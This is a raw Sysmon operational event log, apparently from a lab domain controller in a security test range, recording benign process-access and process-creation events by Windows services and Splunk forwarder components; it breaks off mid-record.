10341000x80000000000000006023Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006022Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006021Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006020Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006019Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006018Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.023{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2A48-5F80-5701-000000007F01}3400C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000006017Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.023{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A48-5F80-5701-000000007F01}3400C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000006016Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.024{A5F018FF-2A48-5F80-5701-000000007F01}3400C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000006055Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:53.367{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A49-5F80-5901-000000007F01}4016C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006054Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:53.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006053Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:53.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006052Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:53.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006051Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:53.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006050Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:53.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006049Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:53.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006048Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:53.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006047Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:53.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006046Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:53.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006045Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:53.367{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2A49-5F80-5901-000000007F01}4016C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000006044Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:53.367{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A49-5F80-5901-000000007F01}4016C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000006043Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:53.367{A5F018FF-2A49-5F80-5901-000000007F01}4016C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000006069Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:54.695{A5F018FF-2A4A-5F80-5A01-000000007F01}39323912C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006068Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:54.554{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A4A-5F80-5A01-000000007F01}3932C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006067Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:54.554{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006066Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:54.554{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006065Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:54.554{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006064Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 